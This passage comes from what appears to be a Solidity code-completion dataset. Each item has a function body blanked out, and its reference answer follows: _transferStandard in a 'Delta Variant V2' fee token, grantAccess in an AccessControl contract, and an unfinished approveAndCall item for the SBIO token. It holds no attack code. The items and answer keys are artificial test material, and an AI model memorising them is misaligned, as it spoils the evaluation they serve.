uint256 private _maxTxAmount = 100000000 * 10**9; // We will set a minimum amount of tokens to be swaped => 5M uint256 private _numOfTokensToExchangeForCorona = 5000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable CoronaWalletAddress, address payable marketingWalletAddress) public { _CoronaWalletAddress = CoronaWalletAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _CoronaFee == 0) return; _previousTaxFee = _taxFee; _previousCoronaFee = _CoronaFee; _taxFee = 0; _CoronaFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _CoronaFee = _previousCoronaFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular Corona event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForCorona; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // We need to swap the current tokens to ETH and send to the Corona wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToCorona(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and Corona fee _tokenTransfer(sender,recipient,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToCorona(uint256 amount) private { _CoronaWalletAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToCorona(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } function _transferStandard(address sender, address recipient, uint256 tAmount) private {<FILL_FUNCTION_BODY> } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCorona) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCorona(tCorona); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCorona) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCorona(tCorona); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCorona) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCorona(tCorona); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeCorona(uint256 tCorona) private { uint256 currentRate = _getRate(); uint256 rCorona = tCorona.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rCorona); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tCorona); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tCorona) = _getTValues(tAmount, _taxFee, _CoronaFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tCorona); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 CoronaFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tCorona = tAmount.mul(CoronaFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tCorona); return (tTransferAmount, tFee, tCorona); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10'); _taxFee = taxFee; } function _setCoronaFee(uint256 CoronaFee) external onlyOwner() { require(CoronaFee >= 1 && CoronaFee <= 11, 'CoronaFee should be in 1 - 11'); _CoronaFee = CoronaFee; } function _setCoronaWallet(address payable CoronaWalletAddress) external onlyOwner() { _CoronaWalletAddress = CoronaWalletAddress; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } }
contract DeltaV2 is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Delta Variant V2'; string private _symbol = 'DeltaV2I'; uint8 private _decimals = 9; // Tax and Corona fees will start at 0 so we don't have a big impact when deploying to Uniswap // Corona wallet address is null but the method to set the address is exposed uint256 private _taxFee = 0; uint256 private _CoronaFee = 11; uint256 private _previousTaxFee = _taxFee; uint256 private _previousCoronaFee = _CoronaFee; address payable public _CoronaWalletAddress; address payable public _marketingWalletAddress; IUniswapV2Router02 public immutable uniswapV2Router; address public immutable uniswapV2Pair; bool inSwap = false; bool public swapEnabled = true; uint256 private _maxTxAmount = 100000000 * 10**9; // We will set a minimum amount of tokens to be swaped => 5M uint256 private _numOfTokensToExchangeForCorona = 5000000 * 10**9; event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap); event SwapEnabledUpdated(bool enabled); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (address payable CoronaWalletAddress, address payable marketingWalletAddress) public { _CoronaWalletAddress = CoronaWalletAddress; _marketingWalletAddress = marketingWalletAddress; _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // UniswapV2 for Ethereum network // Create a uniswap pair for this new token uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); // set the rest of the contract variables uniswapV2Router = _uniswapV2Router; // Exclude owner and this contract from fee _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function setExcludeFromFee(address account, bool excluded) external onlyOwner() { _isExcludedFromFee[account] = excluded; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) public { address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(account != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D, 'We can not exclude Uniswap router.'); require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function removeAllFee() private { if(_taxFee == 0 && _CoronaFee == 0) return; _previousTaxFee = _taxFee; _previousCoronaFee = _CoronaFee; _taxFee = 0; _CoronaFee = 0; } function restoreAllFee() private { _taxFee = _previousTaxFee; _CoronaFee = _previousCoronaFee; } function isExcludedFromFee(address account) public view returns(bool) { return _isExcludedFromFee[account]; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); // is the token balance of this contract address over the min number of // tokens that we need to initiate a swap? // also, don't get caught in a circular Corona event. // also, don't swap if sender is uniswap pair. uint256 contractTokenBalance = balanceOf(address(this)); if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } bool overMinTokenBalance = contractTokenBalance >= _numOfTokensToExchangeForCorona; if (!inSwap && swapEnabled && overMinTokenBalance && sender != uniswapV2Pair) { // We need to swap the current tokens to ETH and send to the Corona wallet swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { sendETHToCorona(address(this).balance); } } //indicates if fee should be deducted from transfer bool takeFee = true; //if any account belongs to _isExcludedFromFee account then remove the fee if(_isExcludedFromFee[sender] || _isExcludedFromFee[recipient]){ takeFee = false; } //transfer amount, it will take tax and Corona fee _tokenTransfer(sender,recipient,amount,takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{ // generate the uniswap pair path of token -> weth address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); // make the swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, // accept any amount of ETH path, address(this), block.timestamp ); } function sendETHToCorona(uint256 amount) private { _CoronaWalletAddress.transfer(amount.div(2)); _marketingWalletAddress.transfer(amount.div(2)); } // We are exposing these functions to be able to manual swap and send // in case the token is highly valued and 5M becomes too much function manualSwap() external onlyOwner() { uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualSend() external onlyOwner() { uint256 contractETHBalance = address(this).balance; sendETHToCorona(contractETHBalance); } function setSwapEnabled(bool enabled) external onlyOwner(){ swapEnabled = enabled; } function _tokenTransfer(address sender, address recipient, uint256 amount, bool takeFee) private { if(!takeFee) removeAllFee(); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if(!takeFee) restoreAllFee(); } <FILL_FUNCTION> function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCorona) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCorona(tCorona); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCorona) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCorona(tCorona); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCorona) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCorona(tCorona); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeCorona(uint256 tCorona) private { uint256 currentRate = _getRate(); uint256 rCorona = tCorona.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rCorona); if(_isExcluded[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tCorona); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } //to recieve ETH from uniswapV2Router when swaping receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee, uint256 tCorona) = _getTValues(tAmount, _taxFee, _CoronaFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tCorona); } function _getTValues(uint256 tAmount, uint256 taxFee, uint256 CoronaFee) private pure returns (uint256, uint256, uint256) { uint256 tFee = tAmount.mul(taxFee).div(100); uint256 tCorona = tAmount.mul(CoronaFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tCorona); return (tTransferAmount, tFee, tCorona); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _getTaxFee() private view returns(uint256) { return _taxFee; } function _getMaxTxAmount() private view returns(uint256) { return _maxTxAmount; } function _getETHBalance() public view returns(uint256 balance) { return address(this).balance; } function _setTaxFee(uint256 taxFee) external onlyOwner() { require(taxFee >= 1 && taxFee <= 10, 'taxFee should be in 1 - 10'); _taxFee = taxFee; } function _setCoronaFee(uint256 CoronaFee) external onlyOwner() { require(CoronaFee >= 1 && CoronaFee <= 11, 'CoronaFee should be in 1 - 11'); _CoronaFee = CoronaFee; } function _setCoronaWallet(address payable CoronaWalletAddress) external onlyOwner() { _CoronaWalletAddress = CoronaWalletAddress; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**2 ); } }
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tCorona) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeCorona(tCorona); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount);
function _transferStandard(address sender, address recipient, uint256 tAmount) private
function _transferStandard(address sender, address recipient, uint256 tAmount) private
65291
AccessControl
grantAccess
contract AccessControl { event accessGranted(address user, uint8 access); // The addresses of the accounts (or contracts) that can execute actions within each roles. mapping(address => mapping(uint8 => bool)) accessRights; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// @dev Grants admin (1) access to deployer of the contract constructor() public { accessRights[msg.sender][1] = true; emit accessGranted(msg.sender, 1); } /// @dev Provides access to a determined transaction /// @param _user - user that will be granted the access right /// @param _transaction - transaction that will be granted to user function grantAccess(address _user, uint8 _transaction) public canAccess(1) {<FILL_FUNCTION_BODY> } /// @dev Revokes access to a determined transaction /// @param _user - user that will have the access revoked /// @param _transaction - transaction that will be revoked function revokeAccess(address _user, uint8 _transaction) public canAccess(1) { require(_user != address(0)); accessRights[_user][_transaction] = false; } /// @dev Check if user has access to a determined transaction /// @param _user - user /// @param _transaction - transaction function hasAccess(address _user, uint8 _transaction) public view returns (bool) { require(_user != address(0)); return accessRights[_user][_transaction]; } /// @dev Access modifier /// @param _transaction - transaction modifier canAccess(uint8 _transaction) { require(accessRights[msg.sender][_transaction]); _; } /// @dev Drains all Eth function withdrawBalance() external canAccess(2) { msg.sender.transfer(address(this).balance); } /// @dev Drains any ERC20 token accidentally sent to contract function withdrawTokens(address tokenContract) external canAccess(2) { ERC20 tc = ERC20(tokenContract); tc.transfer(msg.sender, tc.balanceOf(this)); } /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Called by any "C-level" role to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() public canAccess(1) whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. function unpause() public canAccess(1) whenPaused { paused = false; } }
contract AccessControl { event accessGranted(address user, uint8 access); // The addresses of the accounts (or contracts) that can execute actions within each roles. mapping(address => mapping(uint8 => bool)) accessRights; // @dev Keeps track whether the contract is paused. When that is true, most actions are blocked bool public paused = false; /// @dev Grants admin (1) access to deployer of the contract constructor() public { accessRights[msg.sender][1] = true; emit accessGranted(msg.sender, 1); } <FILL_FUNCTION> /// @dev Revokes access to a determined transaction /// @param _user - user that will have the access revoked /// @param _transaction - transaction that will be revoked function revokeAccess(address _user, uint8 _transaction) public canAccess(1) { require(_user != address(0)); accessRights[_user][_transaction] = false; } /// @dev Check if user has access to a determined transaction /// @param _user - user /// @param _transaction - transaction function hasAccess(address _user, uint8 _transaction) public view returns (bool) { require(_user != address(0)); return accessRights[_user][_transaction]; } /// @dev Access modifier /// @param _transaction - transaction modifier canAccess(uint8 _transaction) { require(accessRights[msg.sender][_transaction]); _; } /// @dev Drains all Eth function withdrawBalance() external canAccess(2) { msg.sender.transfer(address(this).balance); } /// @dev Drains any ERC20 token accidentally sent to contract function withdrawTokens(address tokenContract) external canAccess(2) { ERC20 tc = ERC20(tokenContract); tc.transfer(msg.sender, tc.balanceOf(this)); } /// @dev Modifier to allow actions only when the contract IS NOT paused modifier whenNotPaused() { require(!paused); _; } /// @dev Modifier to allow actions only when the contract IS paused modifier whenPaused { require(paused); _; } /// @dev Called by any "C-level" role to pause the contract. Used only when /// a bug or exploit is detected and we need to limit damage. function pause() public canAccess(1) whenNotPaused { paused = true; } /// @dev Unpauses the smart contract. function unpause() public canAccess(1) whenPaused { paused = false; } }
require(_user != address(0)); accessRights[_user][_transaction] = true; emit accessGranted(_user, _transaction);
function grantAccess(address _user, uint8 _transaction) public canAccess(1)
/// @dev Provides access to a determined transaction /// @param _user - user that will be granted the access right /// @param _transaction - transaction that will be granted to user function grantAccess(address _user, uint8 _transaction) public canAccess(1)
80159
SBIO
approveAndCall
contract SBIO is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { symbol = "SBIO"; name = "Vector Space Biosciences, Inc."; decimals = 18; totalSupply = 100000000 * 10 ** uint256(decimals); balances[owner] = totalSupply; emit Transfer(address(0), owner, totalSupply); } function totalSupply() public view returns (uint) { return totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } modifier validTo(address to) { require(to != address(0)); require(to != address(this)); _; } function transferInternal(address from, address to, uint tokens) internal { balances[from] = safeSub(balances[from], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); } function transfer(address to, uint tokens) public validTo(to) returns (bool success) { transferInternal(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public validTo(to) returns (bool success) { allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); transferInternal(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {<FILL_FUNCTION_BODY> } function () public payable { revert(); } }
